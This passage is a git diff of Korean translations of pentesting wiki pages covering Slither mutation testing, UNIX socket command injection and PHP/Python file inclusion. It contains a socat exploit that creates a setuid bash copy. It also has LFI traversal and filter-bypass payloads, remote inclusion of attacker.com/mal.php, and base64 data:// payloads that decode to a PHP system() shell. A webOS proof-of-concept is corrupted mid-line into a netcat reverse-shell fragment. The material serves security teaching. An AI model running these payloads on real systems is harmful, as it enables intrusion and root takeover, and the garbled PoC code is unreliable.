diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 965819c52..4713b9baf 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ # Mutation Testing for Solidity with Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -Mutation testing은 Solidity 코드에 작은 변경사항(mutants)을 체계적으로 주입하고 테스트 스위트를 다시 실행함으로써 "테스트를 테스트"합니다. 테스트가 실패하면 mutant는 죽고(killed), 테스트가 여전히 통과하면 mutant는 살아남아 라인/브랜치 커버리지가 감지하지 못하는 테스트 스위트의 맹점을 드러냅니다. +Mutation testing은 "tests your tests" 방식으로, Solidity 코드에 작은 변경사항(mutants)을 체계적으로 도입하고 test suite를 다시 실행합니다. 테스트가 실패하면 해당 mutant는 제거(killed)됩니다. 테스트가 여전히 통과하면 mutant는 생존하여 line/branch coverage로는 탐지할 수 없는 테스트 스위트의 맹점을 드러냅니다. -핵심 아이디어: 커버리지는 코드가 실행되었다는 사실만 보여주고, mutation testing은 동작이 실제로 단언(asserted)되는지를 보여줍니다. +핵심 아이디어: Coverage는 코드가 실행되었음을 보여주고; mutation testing은 실제로 동작이 검증되었는지를 보여줍니다. -## 커버리지가 오도할 수 있는 이유 +## 왜 Coverage는 오도할 수 있는가 -Consider this simple threshold check: +다음의 간단한 임계값 체크를 살펴보자: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,99 +18,99 @@ return false; } } ``` -단위 테스트가 임계값 아래의 값과 위의 값만 검사하는 경우, 라인/브랜치 커버리지가 100%에 도달할 수 있지만 동등성 경계(==)를 확인하지 못할 수 있습니다. `deposit >= 2 ether`로 리팩터링해도 이러한 테스트는 여전히 통과하여 프로토콜 로직을 조용히 깨뜨릴 수 있습니다. +단위 테스트가 임계값 아래와 위의 값만 검사하면, equality boundary (==)에 대한 어설션 없이도 라인/분기 커버리지 100%에 도달할 수 있습니다. `deposit >= 2 ether`로 리팩터링하면 이런 테스트를 통과해 프로토콜 로직이 은밀히 깨질 수 있습니다. -Mutation testing은 조건을 변형시키고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다. +뮤테이션 테스트는 조건을 변형(mutate)하고 테스트가 실패하는지 확인함으로써 이 간극을 드러냅니다. -## Common Solidity mutation operators +## 일반적인 Solidity mutation 연산자 -Slither’s mutation engine은 다음과 같은 여러 작은 의미 변경 수정을 적용합니다: +Slither의 mutation 엔진은 다음과 같은 작은 의미 변경 편집을 적용합니다: - 연산자 교체: `+` ↔ `-`, `*` ↔ `/`, 등 -- 할당 연산자 교체: `+=` → `=`, `-=` → `=` +- 할당 교체: `+=` → `=`, `-=` → `=` - 상수 교체: 0이 아닌 값 → `0`, `true` ↔ `false` -- `if`/루프 내부 조건의 부정/교체 +- `if`/루프 내부 조건 부정/교체 - 전체 라인 주석 처리 (CR: Comment Replacement) - 한 줄을 `revert()`로 교체 -- 데이터 타입 교체: 예: `int128` → `int64` +- 데이터 타입 교체 예: `int128` → `int64` -목표: 생성된 뮤턴트의 100%를 kill 하거나, 살아남은 뮤턴트에 대해 명확한 근거로 정당화하세요. +목표: 생성된 뮤턴트 100%를 제거하거나, 생존한 뮤턴트에 대해 명확한 근거로 정당화하세요. -## Running mutation testing with slither-mutate +## slither-mutate로 뮤테이션 테스트 실행하기 요구사항: Slither v0.10.2+. -- 옵션과 mutators 목록: +- 옵션 및 mutators 나열: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Foundry 예제 (결과를 캡처하고 전체 로그를 보관): +- Foundry 예시 (결과를 캡처하고 전체 로그를 보관): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Foundry를 사용하지 않는다면, `--test-cmd`를 테스트 실행 방법(예: `npx hardhat test`, `npm test`)으로 대체하세요. +- Foundry를 사용하지 않는 경우 `--test-cmd`를 테스트를 실행하는 방식(예: `npx hardhat test`, `npm test`)으로 바꿔주세요. -아티팩트와 보고서는 기본적으로 `./mutation_campaign`에 저장됩니다. 포착되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다. +아티팩트와 리포트는 기본적으로 `./mutation_campaign`에 저장됩니다. 검출되지 않은(생존한) mutants는 검사 목적으로 그곳에 복사됩니다. ### 출력 이해하기 -보고서 행은 다음과 같습니다: +리포트 행은 다음과 같습니다: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- 대괄호 안의 태그는 뮤테이터 별칭입니다(예: `CR` = Comment Replacement). -- `UNCAUGHT`는 변형된 동작에서 테스트가 통과했음을 의미합니다 → 누락된 assertion. +- 대괄호 안의 태그는 뮤테이터 별칭입니다 (예: `CR` = Comment Replacement). +- `UNCAUGHT`는 변경된 동작 하에서 테스트가 통과했음을 의미합니다 → 누락된 assertion. ## Reducing runtime: prioritize impactful mutants -Mutation 캠페인은 수시간에서 수일까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁: -- Scope: 우선 중요한 contracts/디렉터리만 대상으로 시작한 후 확장하세요. -- Prioritize mutators: 한 줄에서 우선순위가 높은 뮤턴트가 생존하면(예: 전체 줄이 주석 처리된 경우) 그 줄에 대해 우선순위가 낮은 변형은 건너뛸 수 있습니다. -- 테스트를 러너가 허용하면 병렬화하고; 의존성/빌드를 캐시하세요. -- Fail-fast: 변경이 명백히 assertion의 공백을 드러낼 때 조기에 중단하세요. +Mutation 캠페인은 몇 시간에서 며칠까지 걸릴 수 있습니다. 비용을 줄이기 위한 팁: +- Scope: 먼저 중요한 contracts/디렉터리만 대상으로 시작한 다음 확장하세요. +- Prioritize mutators: 한 줄에서 우선순위가 높은 mutant가 생존하면(예: 전체 줄이 주석 처리됨) 해당 줄에 대해 낮은 우선순위 변형은 건너뛸 수 있습니다. +- Parallelize tests if your runner allows it; cache dependencies/builds. +- Fail-fast: 변경이 명확히 assertion 간극을 보여줄 때 조기에 중단하세요. ## Triage workflow for surviving mutants -1) 변형된 줄과 동작을 검사하세요. -- 해당 변형된 줄을 적용하고 집중 테스트를 실행해 로컬에서 재현하세요. +1) 변경된 라인과 동작을 검사하세요. +- 변경된 라인을 적용하고 집중된 테스트를 실행해 로컬에서 재현하세요. -2) 반환값뿐 아니라 상태를 검증하도록 테스트를 강화하세요. -- 동등성/경계 검사를 추가하세요(예: 임계값 테스트 `==`). -- 사후 조건을 검증하세요: 잔액, 총 공급량, 권한 영향 및 발생한 이벤트 등. +2) 테스트를 강화해 반환값뿐 아니라 상태를 단언하세요. +- 동등성 경계 검사 추가(예: test threshold `==`). +- 사후 조건을 단언: 잔액, 총 공급량, 권한 효과, 발생한 이벤트 등. 3) 지나치게 관대한 mocks를 현실적인 동작으로 교체하세요. -- 모의 객체가 온체인에서 발생하는 전송, 실패 경로 및 이벤트 발생을 강제하도록 하세요. +- mocks가 온체인에서 발생하는 전송, 실패 경로, 이벤트 발생을 강제하는지 확인하세요. -4) 퍼즈(fuzz) 테스트를 위한 불변식(invariants)을 추가하세요. -- 예: 가치 보존, 음수 불가 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급량 등. +4) fuzz 테스트를 위한 불변식 추가. +- 예: 가치 보존, 음수가 아닌 잔액, 권한 불변식, 적용 가능한 경우 단조 증가하는 공급 등. -5) slither-mutate를 재실행하여 생존자들이 제거되거나 명확히 정당화될 때까지 반복하세요. +5) 생존한 뮤턴트가 제거되거나 명시적으로 정당화될 때까지 slither-mutate를 다시 실행하세요. ## Case study: revealing missing state assertions (Arkis protocol) -Arkis DeFi protocol에 대한 감사 중 진행된 mutation 캠페인은 다음과 같은 생존자를 드러냈습니다: +Arkis DeFi protocol 감사 중 실행한 mutation 캠페인에서 다음과 같은 생존자들이 나타났습니다: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -주석 처리로 할당문이 제거되어도 테스트가 통과했는데, 이는 사후 상태 검증(post-state assertions)이 누락되었음을 증명한다. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value`를 신뢰했다. 공격자는 기대되는 전송과 실제 전송을 비동기화하여 자금을 유출할 수 있다. 결과: 프로토콜의 지급능력(solency)에 대한 높은 심각도 위험. +주석 처리로 할당을 제거해도 테스트가 깨지지 않았으므로 post-state assertions가 누락되었음이 입증됨. 근본 원인: 실제 토큰 전송을 검증하지 않고 사용자 제어 `_cmd.value` 를 신뢰함. 공격자는 기대된 전송과 실제 전송을 비동기화시켜 자금을 유출할 수 있음. 결과: 프로토콜 지급능력(solency)에 대한 높은 심각도 위험. -지침: 가치 전송(value transfers), 회계(accounting), 또는 접근 제어에 영향을 미치는 살아남은 변이(survivors)는 제거(killed)될 때까지 고위험으로 취급하라. +Guidance: 값 전송, 회계(accounting) 또는 접근 제어에 영향을 주는 survivors는 삭제(kill)될 때까지 고위험으로 취급하라. ## 실무 체크리스트 -- 대상 캠페인 실행: +- Run a targeted campaign: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- 생존한 변이를 분류(triage)하고, 변형된 동작에서 실패할 테스트/불변식(invariants)을 작성하라. -- 잔액, 공급량, 권한, 이벤트를 검증하라. +- Triage survivors and write tests/invariants that would fail under the mutated behavior. +- 잔액, 공급(supply), 권한(authorizations), 및 이벤트를 검증(assert)하라. - 경계 테스트 추가 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). -- 비현실적인 mocks를 대체하고, 실패 모드를 시뮬레이션하라. -- 모든 mutants가 제거(killed)되거나 주석과 근거로 정당화될 때까지 반복하라. +- 비현실적인 mocks를 교체하고 실패 모드를 시뮬레이션하라. +- 모든 mutants가 kill되거나 주석과 근거로 정당화될 때까지 반복하라. -## 참고자료 +## References - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 9e28b7291..2567b9a04 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,8 +1,10 @@ +# Socket Command Injection + {{#include ../../banners/hacktricks-training.md}} -## Python을 이용한 소켓 바인딩 예제 +## Python으로 된 Socket 바인딩 예제 -다음 예제에서는 **유닉스 소켓이 생성됩니다** (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용이 `os.system`에 의해 **실행됩니다**. 이 예제가 실제 환경에서 발견되지 않을 것이라는 것을 알고 있지만, 이 예제의 목표는 유닉스 소켓을 사용하는 코드가 어떻게 생겼는지, 그리고 최악의 경우 입력을 어떻게 관리하는지를 보는 것입니다. +다음 예제에서는 **unix socket이 생성**됩니다 (`/tmp/socket_test.s`) 그리고 **수신된** 모든 내용은 `os.system`에 의해 **실행**됩니다. 실제로 이런 코드를 현장에서 만나긴 어렵겠지만, 이 예제의 목적은 unix sockets를 사용하는 코드가 어떻게 생겼는지와 최악의 경우 입력을 어떻게 처리해야 하는지를 보여주는 것입니다. ```python:s.py import socket import os, os.path @@ -24,15 +26,50 @@ print(datagram) os.system(datagram) conn.close() ``` -**코드를 실행**하려면 python을 사용하세요: `python s.py` 그리고 **소켓이 어떻게 수신 대기하는지 확인하세요**: +**실행** 코드를 python으로 실행하세요: `python s.py` 그리고 **소켓이 어떻게 리스닝되는지 확인하세요**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` -**익스플로잇** +**Exploit** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## 사례 연구: Root-owned UNIX socket signal-triggered escalation (LG webOS) + +일부 privileged daemon들은 untrusted input을 받는 root-owned UNIX socket을 노출하고, privileged actions을 thread-IDs와 signals에 결합합니다. 프로토콜이 unprivileged client가 어떤 native thread가 타겟이 될지 영향을 줄 수 있게 허용한다면, privileged code path를 트리거해 escalate할 수 있습니다. + +관찰된 패턴: +- root-owned socket에 연결 (예: /tmp/remotelogger). +- 스레드를 생성하고 해당 native thread id (TID)를 얻는다. +- 요청으로 TID (packed)와 padding을 함께 전송; acknowledgement를 받는다. +- 해당 TID에 특정 signal을 전달하여 privileged behaviour를 트리거한다. + +간단한 PoC 스케치: +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() +tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` +노트: +- 이 유형의 버그는 권한 없는 클라이언트 상태(TIDs)에서 유래한 값을 신뢰하고 이를 권한 있는 시그널 핸들러나 로직에 바인딩함으로써 발생합니다. +- 소켓에 대한 자격 증명을 강제하고, 메시지 형식을 검증하며, 외부에서 제공된 스레드 식별자와 권한 있는 작업을 분리하여 시스템을 강화하세요. + +## References + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 7de3659fe..2897d7c61 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (장점: 코드를 작성하면 서버가 이를 실행합니다). In php this is **비활성화** by default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** 파일이 원격 서버에서 로드됩니다 (이점: 코드를 작성하면 서버가 이를 실행합니다). php에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\ **Local File Inclusion (LFI):** 서버가 로컬 파일을 로드합니다. -취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다. +이 취약점은 사용자가 서버가 로드할 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다. -취약한 **PHP functions**: require, require_once, include, include_once +취약한 **PHP 함수**: require, require_once, include, include_once -이 취약점을 악용하기 위한 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +이 취약점을 exploit하기 위한 흥미로운 도구: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,39 +19,38 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**여러 \*nix LFI 목록을 혼합하고 경로를 더 추가해서 만든 목록:** - +**여러 \*nix LFI 리스트를 혼합하고 경로를 더 추가하여 만든 목록:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -또한 `/`을 `\`로 변경해보세요 +또한 `/`를 `\`로 바꿔보세요` \`\ 또한 `../../../../../`를 추가해보세요 -취약점 존재 여부를 확인하기 위해 /etc/password 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +`/etc/password` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다 ### **Windows** -다양한 wordlists의 병합: +다른 wordlists의 병합: {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -또한 `/`을 `\`로 변경해보세요 +또한 `/`를 `\`로 바꿔보세요` \`\ 또한 `C:/`를 제거하고 `../../../../../`를 추가해보세요 -취약점 존재 여부를 확인하기 위해 /boot.ini 파일을 찾는 여러 기법을 사용한 목록은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +`/boot.ini` 파일을 찾기 위해 여러 기법을 사용하는 목록(취약점 존재 여부를 확인하기 위해)은 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다 ### **OS X** -linux의 LFI 목록을 확인하세요. +linux의 LFI 리스트를 확인하세요. -## 기본 LFI 및 우회 +## Basic LFI and bypasses -모든 예제는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](). +모든 예시는 Local File Inclusion에 대한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` @@ -63,59 +62,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -제공된 문자열 끝에 더 많은 문자를 추가하는 것을 우회 (우회 대상: $\_GET\['param']."php") +제공된 문자열의 끝에 더 많은 문자를 덧붙이는 것을 우회 (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -이 문제는 **PHP 5.4에서 해결되었습니다** +이는 **PHP 5.4 이후로 해결되었습니다** ### **인코딩** -double URL encode 등 비표준 인코딩을 사용할 수 있습니다: +비표준 인코딩(예: double URL encode 등)을 사용할 수 있습니다: ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### 존재하는 폴더에서 +### 기존 폴더에서 -어쩌면 back-end가 폴더 경로를 검사하고 있을 수 있습니다: +back-end가 folder path를 확인하고 있을 수도 있습니다: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### 서버에서 파일 시스템 디렉터리 탐색 -서버의 파일 시스템은 특정 기술을 사용하여 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 판단하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다: +서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐지하는 것을 포함합니다. 다음은 이를 수행하는 자세한 방법입니다: -1. **디렉터리 깊이 판단:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오면 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성되어 깊이가 세임을 나타낼 수 있습니다: +1. **디렉터리 깊이 확인:** 서버가 Linux 기반인 경우 `/etc/passwd` 파일을 성공적으로 가져와 현재 디렉터리의 깊이를 확인합니다. 예시 URL은 다음과 같이 구성될 수 있으며, 깊이가 3임을 나타냅니다: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다: +2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가된 디렉토리 레벨 때문에 depth를 하나 증가시켜야 합니다: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpret the Outcomes:** 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다: -- **Error / No Output:** 폴더 `private`는 지정된 위치에 존재하지 않을 가능성이 높습니다. -- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 표시되면 `private` 폴더의 존재가 확인됩니다. -4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다. +3. **결과 해석:** 서버의 응답은 폴더 존재 여부를 나타냅니다: +- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 존재하지 않을 가능성이 큽니다. +- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다. +4. **재귀적 탐색:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법을 사용해 하위 디렉토리나 파일을 추가로 조사할 수 있습니다. -파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하고 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면 다음을 사용하세요: +파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 페이로드를 그에 맞게 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하면 `/var/www/`에 `private` 디렉토리가 있는지 확인하려면: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 보안 조치를 bypass하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다. +Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 일부 보안 조치를 우회하여 접근이 제한된 파일에 접근할 때 사용된다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만들어내는 것이다. -In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있습니다. 예를 들어: +In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있다. 예를 들어: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 동일한 경로로 취급됩니다. -- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. -- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- 마지막 6글자가 `passwd`일 때, 끝에 `/`를 붙여 `passwd/`로 만들어도 대상 파일은 바뀌지 않는다. +- 마찬가지로 파일 경로에 `.php`가 붙어 있으면 (예: `shellcode.php`) 끝에 `/.`를 추가해도 접근되는 파일은 변경되지 않는다. -제공된 예시는 path truncation을 이용해 민감한 내용을 담고 있는 일반적인 대상인 `/etc/passwd`에 접근하는 방법을 보여줍니다 (사용자 계정 정보): +아래 예제들은 path truncation을 활용하여 민감한 내용(사용자 계정 정보) 때문에 흔히 목표가 되는 `/etc/passwd`에 접근하는 방법을 보여준다: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,13 +124,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -이러한 시나리오에서는 필요한 traversals 수가 대략 2027개 정도일 수 있지만, 이 수치는 서버 구성에 따라 달라질 수 있습니다. +이러한 시나리오에서는 필요한 트래버설 수가 약 2027개일 수 있지만, 이 수는 서버 구성에 따라 달라질 수 있습니다. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 점 세그먼트 및 문자들을 조합하여 파일 시스템을 탐색할 수 있으며, 이로써 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다. -- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리까지, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾아낼 수 있으며, 이 과정에서 `.php` 같은 덧붙여진 문자열은 무력화되지만 원하는 경로 (`/etc/passwd`)는 온전하게 유지됩니다. -- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 만족시키기 위해 사용됩니다. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot 세그먼트 및 문자를 결합하면 파일 시스템을 탐색할 수 있으며, 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다. +- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리로 이동한 다음 `/etc/passwd`로 접근하는 데 필요한 정확한 `../` 반복 횟수를 찾을 수 있으며, 이 과정에서 `.php`와 같은 덧붙여진 문자열은 중화되지만 원하는 경로(`/etc/passwd`)는 유지되도록 할 수 있습니다. +- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기법은 예방적 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다. -path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다. +path truncation 기법을 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 서로 다른 접근법이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해서는 테스트가 자주 필요합니다. **이 취약점은 PHP 5.3에서 수정되었습니다.** @@ -145,41 +144,41 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문입니다. 동작하려면 **On**이어야 하며, 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다: +php에서는 기본적으로 비활성화되어 있습니다. 그 이유는 **`allow_url_include`**가 **Off.**로 설정되어 있기 때문입니다. 동작하려면 이를 **On**으로 설정해야 하며, 그 경우 서버에 있는 PHP 파일을 포함하여 RCE를 얻을 수 있습니다: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -어떤 이유로 **`allow_url_include`**가 **On**인데, PHP가 외부 웹페이지에 대한 접근을 **필터링**하는 경우, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용하여 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다: +만약 어떤 이유로 **`allow_url_include`**가 **On**인데 PHP가 외부 웹페이지 접근을 **filtering**한다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코딩하여 RCE를 얻을 수 있습니다: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것입니다. 문자열은 그로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서, 실행) 됩니다. - -또 다른 예시로 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다: +> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가된 것입니다. 따라서 문자열은 `.txt`로 끝나고 b64 decode 이후 그 부분은 단순한 무의미한 데이터가 되어 실제 PHP 코드만 포함되어(따라서 실행됩니다). +> +> 또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` ## Python 루트 요소 -다음과 같은 python 코드에서: +python에서 다음과 같은 코드의 경우: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -사용자가 **절대 경로**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**: +사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +이것은 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다: -> 구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소에서 계속됩니다. +> 컴포넌트가 절대 경로인 경우, 이전의 모든 